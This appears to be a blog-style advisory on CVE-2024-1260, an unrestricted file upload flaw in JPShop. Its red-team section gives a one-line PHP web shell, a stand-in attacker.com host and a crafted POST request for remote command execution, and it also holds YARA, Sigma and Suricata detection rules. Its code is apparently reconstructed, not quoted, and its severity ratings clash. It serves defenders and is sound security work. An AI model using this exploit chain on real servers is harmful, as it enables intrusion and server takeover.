CVE-2024-1260

Executive Summary

CVE-2024-1260 is a critical unrestricted file upload vulnerability in Juanpao JPShop up to version 1.5.02. The flaw resides in the actionIndex function of the /api/controllers/admin/app/ComboController.php file within the API component. By manipulating the pic_url argument, an attacker can upload arbitrary files to the server, potentially leading to remote code execution (RCE), data exfiltration, or full server compromise. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available, making this a high-priority threat for all JPShop deployments.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited data modification.
• Availability Impact: Low (A:L) – limited service disruption.

Threat Level: High. Despite the medium CVSS score, the public availability of exploit code and the lack of a patch elevate the risk. An attacker can achieve RCE with minimal effort.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the JPShop e-commerce platform. The ComboController.php file handles combo (bundle) product management. The actionIndex function processes the pic_url parameter without proper validation of the file type, size, or content. This allows an attacker to upload a malicious file (e.g., a PHP web shell) to the server.

Attack Flow:

1. The attacker sends a crafted HTTP POST request to /api/controllers/admin/app/ComboController.php with the pic_url parameter set to a remote URL pointing to a malicious file.
2. The server downloads the file from the provided URL and saves it to a publicly accessible directory (e.g., /uploads/).
3. The attacker then accesses the uploaded file via its URL, executing arbitrary code on the server.

Root Cause: Lack of input validation and missing file type checks in the actionIndex function. The code likely uses file_get_contents() or curl to fetch the remote file and file_put_contents() to save it, without verifying the file extension or MIME type.

Vulnerable vs. Patched Code

Vulnerable Code (JPShop <= 1.5.02):

public function actionIndex() {
    $pic_url = $_POST['pic_url'];
    $file_content = file_get_contents($pic_url);
    $file_name = basename($pic_url);
    file_put_contents('uploads/' . $file_name, $file_content);
    echo json_encode(['status' => 'success', 'url' => 'uploads/' . $file_name]);
}

Patched Code (Hypothetical):

public function actionIndex() {
    $pic_url = $_POST['pic_url'];
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
    $file_extension = pathinfo($pic_url, PATHINFO_EXTENSION);
    if (!in_array(strtolower($file_extension), $allowed_extensions)) {
        echo json_encode(['status' => 'error', 'message' => 'Invalid file type']);
        return;
    }
    $file_content = file_get_contents($pic_url);
    $file_name = uniqid() . '.' . $file_extension;
    file_put_contents('uploads/' . $file_name, $file_content);
    echo json_encode(['status' => 'success', 'url' => 'uploads/' . $file_name]);
}

Key Differences:

• Input Validation: Patched code checks the file extension against a whitelist.
• File Naming: Patched code uses a unique ID to prevent overwriting and predictable filenames.
• Error Handling: Patched code returns an error for invalid file types.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running JPShop <= 1.5.02.
• A publicly accessible server to host the malicious file (or use a service like ngrok).

Step 1: Prepare a Malicious PHP Web Shell Create a file named shell.php with the following content:

<?php system($_GET['cmd']); ?>

Step 2: Host the Malicious File Place shell.php on your attacker-controlled server (e.g., http://attacker.com/shell.php).

Step 3: Exploit the Vulnerability Send the following HTTP request to the target:

POST /api/controllers/admin/app/ComboController.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

pic_url=http://attacker.com/shell.php

Step 4: Execute Commands Access the uploaded shell at http://target.com/uploads/shell.php?cmd=id.

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for outbound HTTP requests to unknown IPs from the web server.
• Alert on file uploads with suspicious extensions (e.g., .php, .phtml, .asp).
• Implement file integrity monitoring (FIM) on the uploads directory.

Honeypot Setup:

• Deploy a decoy JPShop instance with the vulnerable endpoint.
• Log all requests to /api/controllers/admin/app/ComboController.php.
• Analyze attacker behavior to update detection rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /api/controllers/admin/app/ComboController.php with pic_url parameter.
• Outbound connections from the web server to unknown IPs on port 80/443.
• Subsequent HTTP GET requests to /uploads/*.php or /uploads/*.phtml.

File System IOCs:

• Unexpected files in the /uploads/ directory with .php, .phtml, .asp, or .jsp extensions.
• Files with recent modification timestamps in /uploads/ that were not generated by legitimate users.

Log IOCs:

• Web server access logs showing POST /api/controllers/admin/app/ComboController.php with a 200 response.
• Error logs containing file_get_contents() failures or warnings.

Detection Engineering

YARA Rule

rule CVE_2024_1260_JPShop_Upload {
    meta:
        description = "Detects malicious PHP files uploaded via CVE-2024-1260"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1260"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru)
}

Sigma Rule

title: CVE-2024-1260 JPShop Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1260 via HTTP POST to ComboController.php
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/api/controllers/admin/app/ComboController.php'
        cs-uri-query|contains: 'pic_url='
    condition: selection
falsepositives:
    - Legitimate admin uploads (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-1260 JPShop Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/controllers/admin/app/ComboController.php"; http_uri; content:"pic_url="; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /api/controllers/admin/app/ComboController.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Apply input validation: If you have access to the source code, implement file type whitelisting and rename uploaded files with unique identifiers.
3. Restrict upload directory permissions: Ensure the /uploads/ directory has no execute permissions (e.g., chmod -R 644 and remove PHP execution via .htaccess).

Long-term Fix:

• Monitor the vendor's website for an official patch.
• Consider migrating to a supported e-commerce platform if no patch is released.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing pic_url in the POST body to the vulnerable endpoint.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert